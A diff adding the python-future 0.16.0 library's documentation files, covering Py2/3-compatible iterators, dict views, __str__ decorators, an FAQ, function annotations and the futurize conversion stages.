+            self._iter = iter(iterable)
+        def __next__(self):                 # Py3-style iterator interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+
+    itr = Upper('hello')
+    assert next(itr) == 'H'
+    assert next(itr) == 'E'
+    assert list(itr) == list('LLO')
+
+
+You can use this approach unless you are defining a custom iterator as a
+subclass of a base class defined elsewhere that does not derive from
+``newobject``.  In that case, you can provide compatibility across
+Python 2 and Python 3 using the ``next`` function from ``future.builtins``::
+
+    from builtins import next
+
+    from some_module import some_base_class
+
+    class Upper2(some_base_class):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):                 # Py3-style iterator interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+
+    itr2 = Upper2('hello')
+    assert next(itr2) == 'H'
+    assert next(itr2) == 'E'
+
+``next()`` also works with regular Python 2 iterators with a ``.next`` method::
+
+    itr3 = iter(['one', 'three', 'five'])
+    assert 'next' in dir(itr3)
+    assert next(itr3) == 'one'
+
+This approach is feasible whenever your code calls the ``next()`` function
+explicitly. If you consume the iterator implicitly in a ``for`` loop or
+``list()`` call or by some other means, the ``future.builtins.next`` function
+will not help; the third assertion below would fail on Python 2::
+
+    itr2 = Upper2('hello')
+
+    assert next(itr2) == 'H'
+    assert next(itr2) == 'E'
+    assert list(itr2) == list('LLO')      # fails because Py2 implicitly looks
+                                          # for a ``next`` method.
+
+Instead, you can use a decorator called ``implements_iterator`` from
+``future.utils`` to allow Py3-style iterators to work identically on Py2, even
+if they don't inherit from ``future.builtins.object``. Use it as follows::
+
+    from future.utils import implements_iterator
+
+    Upper2 = implements_iterator(Upper2)
+
+    print(list(Upper2('hello')))
+    # prints ['H', 'E', 'L', 'L', 'O']
+
+This can of course also be used with the ``@`` decorator syntax when defining
+the iterator as follows::
+
+    @implements_iterator
+    class Upper2(some_base_class):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):                 # note the Py3 interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+
+On Python 3, as usual, this decorator does nothing.
+

+ 27 - 0
desktop/core/ext-py/future-0.16.0/docs/custom_str_methods.rst

@@ -0,0 +1,27 @@
+.. _custom-str-methods:
+
+Custom __str__ methods
+----------------------
+
+If you define a custom ``__str__`` method for any of your classes,
+functions like ``print()`` expect ``__str__`` on Py2 to return a byte
+string, whereas on Py3 they expect a (unicode) string.
+
+Use the following decorator to map the ``__str__`` to ``__unicode__`` on
+Py2 and define ``__str__`` to encode it as utf-8::
+
+    from future.utils import python_2_unicode_compatible
+
+    @python_2_unicode_compatible
+    class MyClass(object):
+        def __str__(self):
+            return u'Unicode string: \u5b54\u5b50'
+    a = MyClass()
+
+    # This then prints the name of a Chinese philosopher:
+    print(a)
+
+This decorator is identical to the decorator of the same name in
+:mod:`django.utils.encoding`.
+
+This decorator is a no-op on Python 3.

+ 23 - 0
desktop/core/ext-py/future-0.16.0/docs/dev_notes.rst

@@ -0,0 +1,23 @@
+Notes
+-----
+This module only supports Python 2.6, Python 2.7, and Python 3.1+.
+
+The following renames are already supported on Python 2.7 without any
+additional work from us::
+
+    reload() -> imp.reload()
+    reduce() -> functools.reduce()
+    StringIO.StringIO -> io.StringIO
+    Bytes.BytesIO -> io.BytesIO
+
+Old things that can one day be fixed automatically by futurize.py::
+
+  string.uppercase -> string.ascii_uppercase   # works on either Py2.7 or Py3+
+  sys.maxint -> sys.maxsize      # but this isn't identical
+
+TODO: Check out these:
+Not available on Py2.6:
+  unittest2 -> unittest?
+  buffer -> memoryview?
+
+

+ 22 - 0
desktop/core/ext-py/future-0.16.0/docs/development.rst

@@ -0,0 +1,22 @@
+.. developer-docs
+
+Developer docs
+==============
+
+The easiest way to start developing ``python-future`` is as follows:
+
+1. Install Anaconda Python distribution
+
+2. Run::
+
+    conda install -n future2 python=2.7 pip
+    conda install -n future3 python=3.3 pip
+    
+    git clone https://github.com/PythonCharmers/python-future 
+
+3. If you are using Anaconda Python distribution, this comes without a ``test``
+module on Python 2.x. Copy ``Python-2.7.6/Lib/test`` from the Python source tree
+to ``~/anaconda/envs/yourenvname/lib/python2.7/site-packages/`.
+
+
+

+ 97 - 0
desktop/core/ext-py/future-0.16.0/docs/dict_object.rst

@@ -0,0 +1,97 @@
+.. _dict-object:
+
+dict
+----
+
+Python 3 dictionaries have ``.keys()``, ``.values()``, and ``.items()``
+methods which return memory-efficient set-like iterator objects, not lists.
+(See `PEP 3106 <http://www.python.org/dev/peps/pep-3106/>`_.)
+
+If your dictionaries are small, performance is not critical, and you don't need
+the set-like behaviour of iterator objects from Python 3, you can of course
+stick with standard Python 3 code in your Py2/3 compatible codebase::
+    
+    # Assuming d is a native dict ...
+
+    for key in d:
+        # code here
+
+    for item in d.items():
+        # code here
+    
+    for value in d.values():
+        # code here
+
+In this case there will be memory overhead of list creation on Py2 for each
+call to ``items``, ``values`` or ``keys``.
+
+For improved efficiency, ``future.builtins`` (aliased to ``builtins``) provides
+a Python 2 ``dict`` subclass whose :func:`keys`, :func:`values`, and
+:func:`items` methods return iterators on all versions of Python >= 2.6. On
+Python 2.7, these iterators also have the same set-like view behaviour as
+dictionaries in Python 3. This can streamline code that iterates over large
+dictionaries. For example::
+
+    from __future__ import print_function
+    from builtins import dict, range
+    
+    # Memory-efficient construction:
+    d = dict((i, i**2) for i in range(10**7))
+    
+    assert not isinstance(d.items(), list)
+    
+    # Because items() is memory-efficient, so is this:
+    d2 = dict((v, k) for (k, v) in d.items())
+
+
+On Python 2.6, these methods currently return iterators but do not support the
+new Py3 set-like behaviour.
+
+As usual, on Python 3 ``dict`` imported from either ``builtins`` or
+``future.builtins`` is just the built-in ``dict`` class.
+
+
+Memory-efficiency and alternatives
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you already have large native dictionaries, the downside to wrapping them in
+a ``dict`` call is that memory is copied (on both Py3 and on Py2). For
+example::
+
+    # This allocates and then frees a large amount of temporary memory:
+    d = dict({i: i**2 for i in range(10**7)})
+
+If dictionary methods like ``values`` and ``items`` are called only once, this
+obviously negates the memory benefits offered by the overridden methods through
+not creating temporary lists.
+
+The memory-efficient (and CPU-efficient) alternatives are:
+
+- to construct a dictionary from an iterator. The above line could use a
+  generator like this::
+
+      d = dict((i, i**2) for i in range(10**7))
+
+- to construct an empty dictionary with a ``dict()`` call using
+  ``builtins.dict`` (rather than ``{}``) and then update it;
+
+- to use the ``viewitems`` etc. functions from :mod:`future.utils`, passing in
+  regular dictionaries::
+
+    from future.utils import viewkeys, viewvalues, viewitems
+
+    for (key, value) in viewitems(hugedictionary):
+        # some code here
+    
+    # Set intersection:
+    d = {i**2: i for i in range(1000)}
+    both = viewkeys(d) & set(range(0, 1000, 7))
+     
+    # Set union:
+    both = viewvalues(d1) | viewvalues(d2)
+
+For Python 2.6 compatibility, the functions ``iteritems`` etc. are also
+available in :mod:`future.utils`. These are equivalent to the functions of the
+same names in ``six``, which is equivalent to calling the ``iteritems`` etc.
+methods on Python 2, or to calling ``items`` etc. on Python 3.
+

+ 317 - 0
desktop/core/ext-py/future-0.16.0/docs/faq.rst

@@ -0,0 +1,317 @@
+Frequently Asked Questions (FAQ)
+********************************
+
+Who is this for?
+================
+
+1. People with existing or new Python 3 codebases who wish to provide
+ongoing Python 2.6 / 2.7 support easily and with little maintenance burden.
+
+2. People who wish to ease and accelerate migration of their Python 2 codebases
+to Python 3.3+, module by module, without giving up Python 2 compatibility.
+
+
+Why upgrade to Python 3?
+========================
+
+.. epigraph::
+
+   "Python 2 is the next COBOL."
+
+   -- Alex Gaynor, at PyCon AU 2013
+
+Python 2.7 is the end of the Python 2 line. (See `PEP 404
+<http://www.python.org/peps/pep-0404/>`_.) The language and standard
+libraries are improving only in Python 3.x.
+
+Python 3.x is a better language and better set of standard libraries than
+Python 2.x in many ways. Python 3.x is cleaner, less warty, and easier to
+learn than Python 2. It has better memory efficiency, easier Unicode handling,
+and powerful new features like the `asyncio
+<https://docs.python.org/3/library/asyncio.html>`_ module.
+
+.. Unicode handling is also much easier. For example, see `this page
+.. <http://pythonhosted.org/kitchen/unicode-frustrations.html>`_
+.. describing some of the problems with handling Unicode on Python 2 that
+.. Python 3 mostly solves. 
+
+
+Porting philosophy
+==================
+
+Why write Python 3-style code?
+------------------------------
+
+Here are some quotes:
+
+- "Django's developers have found that attempting to write Python 3 code
+  that's compatible with Python 2 is much more rewarding than the
+  opposite." from the `Django docs
+  <https://docs.djangoproject.com/en/dev/topics/python3/>`_.
+
+- "Thanks to Python 3 being more strict about things than Python 2 (e.g.,
+  bytes vs. strings), the source translation [from Python 3 to 2] can be
+  easier and more straightforward than from Python 2 to 3. Plus it gives
+  you more direct experience developing in Python 3 which, since it is
+  the future of Python, is a good thing long-term." from the official
+  guide `"Porting Python 2 Code to Python 3"
+  <http://docs.python.org/2/howto/pyporting.html>`_ by Brett Cannon.
+
+- "Developer energy should be reserved for addressing real technical
+  difficulties associated with the Python 3 transition (like
+  distinguishing their 8-bit text strings from their binary data). They
+  shouldn't be punished with additional code changes ..." from `PEP 414
+  <http://www.python.org/dev/peps/pep-0414/>`_ by Armin Ronacher and Nick
+  Coghlan.
+
+
+Can't I just roll my own Py2/3 compatibility layer?
+---------------------------------------------------
+
+Yes, but using ``python-future`` will probably be easier and lead to cleaner
+code with fewer bugs.
+
+Consider this quote:
+
+.. epigraph::
+
+   "Duplication of effort is wasteful, and replacing the various
+   home-grown approaches with a standard feature usually ends up making
+   things more readable, and interoperable as well."
+
+   -- Guido van Rossum (`blog post <http://www.artima.com/weblogs/viewpost.jsp?thread=86641>`_)
+
+
+``future`` also includes various Py2/3 compatibility tools in
+:mod:`future.utils` picked from large projects (including IPython,
+Django, Jinja2, Pandas), which should reduce the burden on every project to
+roll its own py3k compatibility wrapper module.
+
+
+What inspired this project?
+---------------------------
+
+In our Python training courses, we at `Python Charmers
+<http://pythoncharmers.com>`_ faced a dilemma: teach people Python 3, which was
+future-proof but not as useful to them today because of weaker 3rd-party
+package support, or teach people Python 2, which was more useful today but
+would require them to change their code and unlearn various habits soon. We
+searched for ways to avoid polluting the world with more deprecated code, but
+didn't find a good way.
+
+Also, in attempting to help with porting packages such as `scikit-learn
+<http://scikit-learn.org>`_ to Python 3, I (Ed) was dissatisfied with how much
+code cruft was necessary to introduce to support Python 2 and 3 from a single
+codebase (the preferred porting option). Since backward-compatibility with
+Python 2 may be necessary for at least the next 5 years, one of the promised
+benefits of Python 3 -- cleaner code with fewer of Python 2's warts -- was
+difficult to realize before in practice in a single codebase that supported
+both platforms.
+
+The goal is to accelerate the uptake of Python 3 and help the strong Python
+community to remain united around a single version of the language.
+
+
+Maturity
+========
+
+How well has it been tested?
+----------------------------
+
+``future`` is used by several major projects, including `mezzanine
+<http://mezzanine.jupo.org>`_ and `ObsPy <http://www.obspy.org>`_. It is also
+currently being used to help with porting 800,000 lines of Python 2 code in
+`Sage <http://sagemath.org>`_ to Python 2/3.
+
+Currently ``python-future`` has over 1000 unit tests. Many of these are straight
+from the Python 3.3 and 3.4 test suites.
+
+In general, the ``future`` package itself is in good shape, whereas the
+``futurize`` script for automatic porting is imperfect; chances are it will
+require some manual cleanup afterwards. The ``past`` package also needs to be
+expanded.
+
+
+Is the API stable?
+------------------
+
+Not yet; ``future`` is still in beta. Where possible, we will try not to break
+anything which was documented and used to work.  After version 1.0 is released,
+the API will not change in backward-incompatible ways until a hypothetical
+version 2.0.
+
+..
+    Are there any example of Python 2 packages ported to Python 3 using ``future`` and ``futurize``?
+    ------------------------------------------------------------------------------------------------
+    
+    Yes, an example is the port of ``xlwt``, available `here
+    <https://github.com/python-excel/xlwt/pull/32>`_.
+    
+    The code also contains backports for several Py3 standard library
+    modules under ``future/standard_library/``.
+
+
+Relationship between python-future and other compatibility tools
+================================================================
+
+How does this relate to ``2to3``?
+---------------------------------
+
+``2to3`` is a powerful and flexible tool that can produce different
+styles of Python 3 code. It is, however, primarily designed for one-way
+porting efforts, for projects that can leave behind Python 2 support.
+
+The example at the top of the `2to3 docs
+<http://docs.python.org/2/library/2to3.html>`_ demonstrates this.  After
+transformation by ``2to3``, ``example.py`` looks like this::
+
+    def greet(name):
+        print("Hello, {0}!".format(name))
+    print("What's your name?")
+    name = input()
+    greet(name)
+
+This is Python 3 code that, although syntactically valid on Python 2,
+is semantically incorrect. On Python 2, it raises an exception for
+most inputs; worse, it allows arbitrary code execution by the user
+for specially crafted inputs because of the ``eval()`` executed by Python
+2's ``input()`` function.
+
+This is not an isolated example; almost every output of ``2to3`` will need
+modification to provide backward compatibility with Python 2. As an
+alternative, the ``python-future`` project provides a script called
+``futurize`` that is based on ``lib2to3`` but will produce code that is
+compatible with both platforms (Py2 and Py3).
+
+
+Can I maintain a Python 2 codebase and use 2to3 to automatically convert to Python 3 in the setup script?
+---------------------------------------------------------------------------------------------------------
+
+This was originally the approach recommended by Python's core developers,
+but it has some large drawbacks:
+    
+1. First, your actual working codebase will be stuck with Python 2's
+warts and smaller feature set for as long as you need to retain Python 2
+compatibility. This may be at least 5 years for many projects, possibly
+much longer.
+    
+2. Second, this approach carries the significant disadvantage that you
+cannot apply patches submitted by Python 3 users against the
+auto-generated Python 3 code. (See `this talk
+<http://www.youtube.com/watch?v=xNZ4OVO2Z_E>`_ by Jacob Kaplan-Moss.)
+
+
+What is the relationship between ``future`` and ``six``?
+--------------------------------------------------------
+
+``python-future`` is a higher-level compatibility layer than ``six`` that
+includes more backported functionality from Python 3, more forward-ported
+functionality from Python 2, and supports cleaner code, but requires more
+modern Python versions to run.
+
+``python-future`` and ``six`` share the same goal of making it possible to write
+a single-source codebase that works on both Python 2 and Python 3.
+``python-future`` has the further goal of allowing standard Py3 code to run with
+almost no modification on both Py3 and Py2. ``future`` provides a more
+complete set of support for Python 3's features, including backports of
+Python 3 builtins such as the ``bytes`` object (which is very different
+to Python 2's ``str`` object) and several standard library modules.
+
+``python-future`` supports only Python 2.6+ and Python 3.3+, whereas ``six``
+supports all versions of Python from 2.4 onwards. (See
+:ref:`supported-versions`.) If you must support older Python versions,
+``six`` will be esssential for you. However, beware that maintaining
+single-source compatibility with older Python versions is ugly and `not
+fun <http://lucumr.pocoo.org/2013/5/21/porting-to-python-3-redux/>`_.
+
+If you can drop support for older Python versions, ``python-future`` leverages
+some important features introduced into Python 2.6 and 2.7, such as
+import hooks, and a comprehensive and well-tested set of backported
+functionality, to allow you to write more idiomatic, maintainable code with
+fewer compatibility hacks.
+
+
+What is the relationship between ``python-future`` and ``python-modernize``?
+----------------------------------------------------------------------------
+
+``python-future`` contains, in addition to the ``future`` compatibility
+package, a ``futurize`` script that is similar to ``python-modernize.py``
+in intent and design. Both are based heavily on ``2to3``.
+    
+Whereas ``python-modernize`` converts Py2 code into a common subset of
+Python 2 and 3, with ``six`` as a run-time dependency, ``futurize``
+converts either Py2 or Py3 code into (almost) standard Python 3 code,
+with ``future`` as a run-time dependency.
+
+Because ``future`` provides more backported Py3 behaviours from ``six``,
+the code resulting from ``futurize`` is more likely to work
+identically on both Py3 and Py2 with less additional manual porting
+effort.
+
+
+Platform and version support
+============================
+
+.. _supported-versions:
+
+Which versions of Python does ``python-future`` support?
+--------------------------------------------------------
+
+Python 2.6, 2.7, and 3.3+ only.
+
+Python 2.6 and 2.7 introduced many important forward-compatibility
+features (such as import hooks, ``b'...'`` literals and ``__future__``
+definitions) that greatly reduce the maintenance burden for single-source
+Py2/3 compatible code. ``future`` leverages these features and aims to
+close the remaining gap between Python 3 and 2.6 / 2.7.
+
+Python 3.2 could perhaps be supported too, although the illegal unicode
+literal ``u'...'`` syntax may be inconvenient to work around. The Py3.2
+userbase is very small, however. Please let us know via GitHub `issue #29
+<https://github.com/PythonCharmers/python-future/issues/29>`_ if you
+would like to see Py3.2 support.
+
+
+Do you support Pypy?
+~~~~~~~~~~~~~~~~~~~~
+
+Yes, except for the standard library import hooks (currently). Feedback
+and pull requests are welcome!
+
+
+Do you support IronPython and/or Jython?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Not sure. This would be nice...
+
+
+.. _support:
+
+Support
+=======
+
+Is there a mailing list?
+------------------------
+
+Yes, please ask any questions on the `python-porting
+<https://mail.python.org/mailman/listinfo/python-porting>`_ mailing list.
+
+
+.. _contributing:
+
+Contributing
+============
+
+Can I help?
+-----------
+
+Yes please :) We welcome bug reports, additional tests, pull requests,
+and stories of either success or failure with using it. Help with the fixers
+for the ``futurize`` script is particularly welcome.
+
+
+Where is the repo?
+------------------
+
+`<https://github.com/PythonCharmers/python-future>`_.
+

+ 37 - 0
desktop/core/ext-py/future-0.16.0/docs/func_annotations.rst

@@ -0,0 +1,37 @@
+.. _func_annotations:
+
+Function annotations
+====================
+
+Function annotations are a piece of syntax introduced in Python 3.0 that was
+not backported to Python 2.x. (See PEP 3107:
+http://www.python.org/dev/peps/pep-3107/). They cause Python 2 to raise a
+SyntaxError.
+
+To rewrite Python 3 code with function annotations to be compatible with both
+Python 3 and Python 2, you can replace the annotation syntax with a dictionary
+called ``__annotations__`` as an attribute on your functions. For example, code
+such as this::
+
+    def _parse(self, filename: str, dir='.') -> list:
+        pass
+
+can be re-expressed like this::
+
+    def _parse(self, filename, dir='.'):
+        pass
+    _parse.__annotations__ = {'filename': str, 'return': list}
+
+As described in PEP 3107, the annotation for a function's return value
+corresponds to the ``'return'`` key in the dictionary.
+
+(Note that PEP 3107 describes annotations as belonging to a
+``func_annotations`` attribute. This attribute was renamed in Python 3.2 to
+``__annotations__``.)
+
+Be aware that some libraries that consume function annotations, such as
+`Reticulated <https://github.com/mvitousek/reticulated>`_, have their own
+semantics for supporting earlier Python versions, such as decorators. If you
+are using such a library, please use its own mechanism for providing
+compatibility with earlier Python versions, rather than the generic equivalent
+above.

+ 18 - 0
desktop/core/ext-py/future-0.16.0/docs/future-builtins.rst

@@ -0,0 +1,18 @@
+.. _future-builtins:
+
+``future.builtins``
+===================
+
+The ``future.builtins`` module is also accessible as ``builtins`` on Py2.
+
+- ``pow()`` supports fractional exponents of negative numbers like in Py3::
+
+    >>> from builtins import pow
+    >>> pow(-1, 0.5)
+    (6.123233995736766e-17+1j)
+
+- ``round()`` uses Banker's Rounding as in Py3 to the nearest even last digit::
+
+    >>> from builtins import round
+    >>> assert round(0.1250, 2) == 0.12
+

+ 83 - 0
desktop/core/ext-py/future-0.16.0/docs/futureext.py

@@ -0,0 +1,83 @@
+# -*- coding: utf-8 -*-
+"""
+    Python-Future Documentation Extensions
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+    Support for automatically documenting filters and tests.
+
+    Based on the Jinja2 documentation extensions.
+
+    :copyright: Copyright 2008 by Armin Ronacher.
+    :license: BSD.
+"""
+import collections
+import os
+import re
+import inspect
+from itertools import islice
+from types import BuiltinFunctionType
+from docutils import nodes
+from docutils.statemachine import ViewList
+from sphinx.ext.autodoc import prepare_docstring
+from sphinx.application import TemplateBridge
+from pygments.style import Style
+from pygments.token import Keyword, Name, Comment, String, Error, \
+     Number, Operator, Generic
+
+
+def parse_rst(state, content_offset, doc):
+    node = nodes.section()
+    # hack around title style bookkeeping
+    surrounding_title_styles = state.memo.title_styles
+    surrounding_section_level = state.memo.section_level
+    state.memo.title_styles = []
+    state.memo.section_level = 0
+    state.nested_parse(doc, content_offset, node, match_titles=1)
+    state.memo.title_styles = surrounding_title_styles
+    state.memo.section_level = surrounding_section_level
+    return node.children
+
+
+class FutureStyle(Style):
+    title = 'Future Style'
+    default_style = ""
+    styles = {
+        Comment:                    'italic #0B6A94',  # was: #0066ff',
+        Comment.Preproc:            'noitalic #B11414',
+        Comment.Special:            'italic #505050',
+
+        Keyword:                    'bold #D15E27',
+        Keyword.Type:               '#D15E27',
+
+        Operator.Word:              'bold #B80000',
+
+        Name.Builtin:               '#333333',
+        Name.Function:              '#333333',
+        Name.Class:                 'bold #333333',
+        Name.Namespace:             'bold #333333',
+        Name.Entity:                'bold #363636',
+        Name.Attribute:             '#686868',
+        Name.Tag:                   'bold #686868',
+        Name.Decorator:             '#686868',
+
+        String:                     '#AA891C',
+        Number:                     '#444444',
+
+        Generic.Heading:            'bold #000080',
+        Generic.Subheading:         'bold #800080',
+        Generic.Deleted:            '#aa0000',
+        Generic.Inserted:           '#00aa00',
+        Generic.Error:              '#aa0000',
+        Generic.Emph:               'italic',
+        Generic.Strong:             'bold',
+        Generic.Prompt:             '#555555',
+        Generic.Output:             '#888888',
+        Generic.Traceback:          '#aa0000',
+
+        Error:                      '#F00 bg:#FAA'
+    }
+
+def setup(app):
+    pass
+    # uncomment for inline toc.  links are broken unfortunately
+    ##app.connect('doctree-resolved', inject_toc)

+ 321 - 0
desktop/core/ext-py/future-0.16.0/docs/futurize.rst

@@ -0,0 +1,321 @@
+.. _forwards-conversion:
+
+``futurize``: Py2 to Py2/3
+--------------------------
+
+.. include:: futurize_overview.rst
+
+
+.. _forwards-conversion-stage1:
+
+Stage 1: "safe" fixes
+~~~~~~~~~~~~~~~~~~~~~
+
+Run the first stage of the conversion process with::
+
+	futurize --stage1 mypackage/*.py
+
+or, if you are using zsh, recursively::
+
+    futurize --stage1 mypackage/**/*.py
+
+This applies fixes that modernize Python 2 code without changing the effect of
+the code. With luck, this will not introduce any bugs into the code, or will at
+least be trivial to fix. The changes are those that bring the Python code
+up-to-date without breaking Py2 compatibility. The resulting code will be
+modern Python 2.6-compatible code plus ``__future__`` imports from the
+following set:
+
+.. code-block:: python
+
+    from __future__ import absolute_import
+    from __future__ import division
+    from __future__ import print_function
+
+Only those ``__future__`` imports deemed necessary will be added unless
+the ``--all-imports`` command-line option is passed to ``futurize``, in
+which case they are all added.
+
+The ``from __future__ import unicode_literals`` declaration is not added
+unless the ``--unicode-literals`` flag is passed to ``futurize``.
+
+The changes include::
+
+    - except MyException, e:
+    + except MyException as e:
+
+    - print >>stderr, "Blah"
+    + from __future__ import print_function
+    + print("Blah", stderr)
+
+    - class MyClass:
+    + class MyClass(object):
+
+    - def next(self):
+    + def __next__(self):
+
+    - if d.has_key(key):
+    + if key in d:
+
+Implicit relative imports fixed, e.g.::
+
+    - import mymodule
+    + from __future__ import absolute_import
+    + from . import mymodule
+
+.. and all unprefixed string literals '...' gain a b prefix to be b'...'.
+
+.. (This last step can be prevented using --no-bytes-literals if you already have b'...' markup in your code, whose meaning would otherwise be lost.)
+
+Stage 1 does not add any imports from the ``future`` package. The output of
+stage 1 will probably not (yet) run on Python 3.
+
+The goal for this stage is to create most of the ``diff`` for the entire
+porting process, but without introducing any bugs. It should be uncontroversial
+and safe to apply to every Python 2 package. The subsequent patches introducing
+Python 3 compatibility should then be shorter and easier to review.
+
+The complete set of fixers applied by ``futurize --stage1`` is:
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_apply
+    lib2to3.fixes.fix_except
+    lib2to3.fixes.fix_exitfunc
+    lib2to3.fixes.fix_funcattrs
+    lib2to3.fixes.fix_has_key
+    lib2to3.fixes.fix_idioms
+    lib2to3.fixes.fix_intern
+    lib2to3.fixes.fix_isinstance
+    lib2to3.fixes.fix_methodattrs
+    lib2to3.fixes.fix_ne
+    lib2to3.fixes.fix_numliterals
+    lib2to3.fixes.fix_paren
+    lib2to3.fixes.fix_reduce
+    lib2to3.fixes.fix_renames
+    lib2to3.fixes.fix_repr
+    lib2to3.fixes.fix_standarderror
+    lib2to3.fixes.fix_sys_exc
+    lib2to3.fixes.fix_throw
+    lib2to3.fixes.fix_tuple_params
+    lib2to3.fixes.fix_types
+    lib2to3.fixes.fix_ws_comma
+    lib2to3.fixes.fix_xreadlines
+    libfuturize.fixes.fix_absolute_import
+    libfuturize.fixes.fix_next_call
+    libfuturize.fixes.fix_print_with_import
+    libfuturize.fixes.fix_raise
+
+
+The following fixers from ``lib2to3`` are not applied:
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_import
+
+The ``fix_absolute_import`` fixer in ``libfuturize.fixes`` is applied instead of
+``lib2to3.fixes.fix_import``. The new fixer both makes implicit relative
+imports explicit and adds the declaration ``from __future__ import
+absolute_import`` at the top of each relevant module.
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_next
+
+The ``fix_next_call`` fixer in ``libfuturize.fixes`` is applied instead of
+``fix_next`` in stage 1. The new fixer changes any ``obj.next()`` calls to
+``next(obj)``, which is Py2/3 compatible, but doesn't change any ``next`` method
+names to ``__next__``, which would break Py2 compatibility.
+
+``fix_next`` is applied in stage 2.
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_print
+
+The ``fix_print_with_import`` fixer in ``libfuturize.fixes`` changes the code to
+use print as a function and also adds ``from __future__ import
+print_function`` to the top of modules using ``print()``.
+
+In addition, it avoids adding an extra set of parentheses if these already
+exist. So ``print(x)`` does not become ``print((x))``.
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_raise
+
+This fixer translates code to use the Python 3-only ``with_traceback()``
+method on exceptions.
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_set_literal
+
+This converts ``set([1, 2, 3]``) to ``{1, 2, 3}``, breaking Python 2.6 support.
+
+.. code-block:: python
+
+    lib2to3.fixes.fix_ws_comma
+
+This performs cosmetic changes. This is not applied by default because it
+does not serve to improve Python 2/3 compatibility. (In some cases it may
+also reduce readability: see issue #58.)
+
+
+
+.. _forwards-conversion-stage2:
+
+Stage 2: Py3-style code with wrappers for Py2
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Run stage 2 of the conversion process with::
+
+    futurize --stage2 myfolder/*.py
+
+This stage adds a dependency on the ``future`` package. The goal for stage 2 is
+to make further mostly safe changes to the Python 2 code to use Python 3-style
+code that then still runs on Python 2 with the help of the appropriate builtins
+and utilities in ``future``.
+
+For example::
+
+    name = raw_input('What is your name?\n')
+
+    for k, v in d.iteritems():
+        assert isinstance(v, basestring)
+
+    class MyClass(object):
+        def __unicode__(self):
+            return u'My object'
+        def __str__(self):
+            return unicode(self).encode('utf-8')
+
+would be converted by Stage 2 to this code::
+
+    from builtins import input
+    from builtins import str
+    from future.utils import iteritems, python_2_unicode_compatible
+
+    name = input('What is your name?\n')
+
+    for k, v in iteritems(d):
+        assert isinstance(v, (str, bytes))
+
+    @python_2_unicode_compatible
+    class MyClass(object):
+        def __str__(self):
+            return u'My object'
+
+Stage 2 also renames standard-library imports to their Py3 names and adds these
+two lines::
+
+    from future import standard_library
+    standard_library.install_aliases()
+
+For example::
+
+    import ConfigParser
+
+becomes::
+
+    from future import standard_library
+    standard_library.install_aliases()
+    import configparser
+
+The complete list of fixers applied in Stage 2 is::
+
+    lib2to3.fixes.fix_basestring
+    lib2to3.fixes.fix_dict
+    lib2to3.fixes.fix_exec
+    lib2to3.fixes.fix_getcwdu
+    lib2to3.fixes.fix_input
+    lib2to3.fixes.fix_itertools
+    lib2to3.fixes.fix_itertools_imports
+    lib2to3.fixes.fix_filter
+    lib2to3.fixes.fix_long
+    lib2to3.fixes.fix_map
+    lib2to3.fixes.fix_nonzero
+    lib2to3.fixes.fix_operator
+    lib2to3.fixes.fix_raw_input
+    lib2to3.fixes.fix_zip
+
+    libfuturize.fixes.fix_cmp
+    libfuturize.fixes.fix_division
+    libfuturize.fixes.fix_execfile
+    libfuturize.fixes.fix_future_builtins
+    libfuturize.fixes.fix_future_standard_library
+    libfuturize.fixes.fix_future_standard_library_urllib
+    libfuturize.fixes.fix_metaclass
+    libpasteurize.fixes.fix_newstyle
+    libfuturize.fixes.fix_object
+    libfuturize.fixes.fix_unicode_keep_u
+    libfuturize.fixes.fix_xrange_with_import
+
+
+Not applied::
+
+    lib2to3.fixes.fix_buffer    # Perhaps not safe. Test this.
+    lib2to3.fixes.fix_callable  # Not needed in Py3.2+
+    lib2to3.fixes.fix_execfile  # Some problems: see issue #37.
+                                # We use the custom libfuturize.fixes.fix_execfile instead.
+    lib2to3.fixes.fix_future    # Removing __future__ imports is bad for Py2 compatibility!
+    lib2to3.fixes.fix_imports   # Called by libfuturize.fixes.fix_future_standard_library
+    lib2to3.fixes.fix_imports2  # We don't handle this yet (dbm)
+    lib2to3.fixes.fix_metaclass # Causes SyntaxError in Py2! Use the one from ``six`` instead
+    lib2to3.fixes.fix_unicode   # Strips off the u'' prefix, which removes a potentially
+                                # helpful source of information for disambiguating
+                                # unicode/byte strings.
+    lib2to3.fixes.fix_urllib    # Included in libfuturize.fix_future_standard_library_urllib
+    lib2to3.fixes.fix_xrange    # Custom one because of a bug with Py3.3's lib2to3
+
+
+Fixes applied with the ``futurize --conservative`` option::
+
+    libfuturize.fixes.fix_division_safe    # instead of libfuturize.fixes.fix_division.
+
+
+
+.. Ideally the output of this stage should not be a ``SyntaxError`` on either
+.. Python 3 or Python 2.
+
+.. _forwards-conversion-text:
+
+Separating text from bytes
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+After applying stage 2, the recommended step is to decide which of your Python
+2 strings represent text and which represent binary data and to prefix all
+string literals with either ``b`` or ``u`` accordingly. Furthermore, to ensure
+that these types behave similarly on Python 2 as on Python 3, also wrap
+byte-strings or text in the ``bytes`` and ``str`` types from ``future``. For
+example::
+
+    from builtins import bytes, str
+    b = bytes(b'\x00ABCD')
+    s = str(u'This is normal text')
+
+Any unadorned string literals will then represent native platform strings
+(byte-strings on Py2, unicode strings on Py3).
+
+An alternative is to pass the ``--unicode-literals`` flag::
+
+  $ futurize --unicode-literals mypython2script.py
+
+After running this, all string literals that were not explicitly marked up as
+``b''`` will mean text (Python 3 ``str`` or Python 2 ``unicode``).
+
+
+
+.. _forwards-conversion-stage3:
+
+Post-conversion
+~~~~~~~~~~~~~~~
+
+After running ``futurize``, we recommend first running your tests on Python 3 and making further code changes until they pass on Python 3.
+
